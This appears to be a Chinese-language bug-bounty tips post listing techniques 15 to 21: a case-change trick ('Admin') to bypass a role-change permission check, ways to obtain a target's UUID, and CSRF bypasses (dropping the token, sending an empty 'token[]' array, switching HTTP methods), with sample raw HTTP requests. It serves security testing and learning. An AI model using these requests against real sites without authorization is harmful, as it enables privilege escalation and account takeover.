正文
本文为本系列的第三弹,前篇有:
第十五种方法
如果有改变角色的功能,尝试改变大小写,看看能不能绕过权限,比如:
#请求为 #响应 PUT /user/changeRole {"id":"12","Role":"admin"} ------------> { "error":"no user permission" } PUT /user/changeRole {"id":"12","Role":"Admin"} ------------> { "status":"OK" }
第十六种方法
如果你想要找到目标的uuid,可以尝试用目标的email或者用户名去注册,响应中可能会包含他们的uuid
第十七种方法
尝试用目标的id去替换uuid,你可能会获取到你想要的uuid
第十八种方法
注意参数或请求头中是否有Anti-CSRF,如果没有请尝试CSRF POC(一般情况想可以利用bp自动生成)
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 CSRF-Token: CSRF(注意这需要删除) Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number email=me@gmail.com&token=CSRF(注意这里需要删除,在测试的时候)
第十九种方法
尝试删除令牌,确保在修改电子邮件,手机号码或密码时是否有Anti-CSRF来进行验证,如果没有,恭喜你,可能有一个账户劫持在等着你
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number email=me@gmail.com&token=
第二十种方法
尝试在CSRF令牌参数上提供一个空数组来绕过anti-CSRF实现CSRF
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number email=me@gmail.com&token[]=
第二十一种方法
改变一下http方法,比如:post可以变为get,put变为post(bp可以进行此操作),同时要删掉Anti-CSRF,可能会发现CSRF
参考
https://twitter.com/intigriti/status/1242079884563841025
https://twitter.com/hakluke/status/1350710131340656643
https://hackerone.com/reports/6910
https://ad3sh.medium.com/how-i-made-1000-at-t-bug-bounty-h1-14e68b284e2f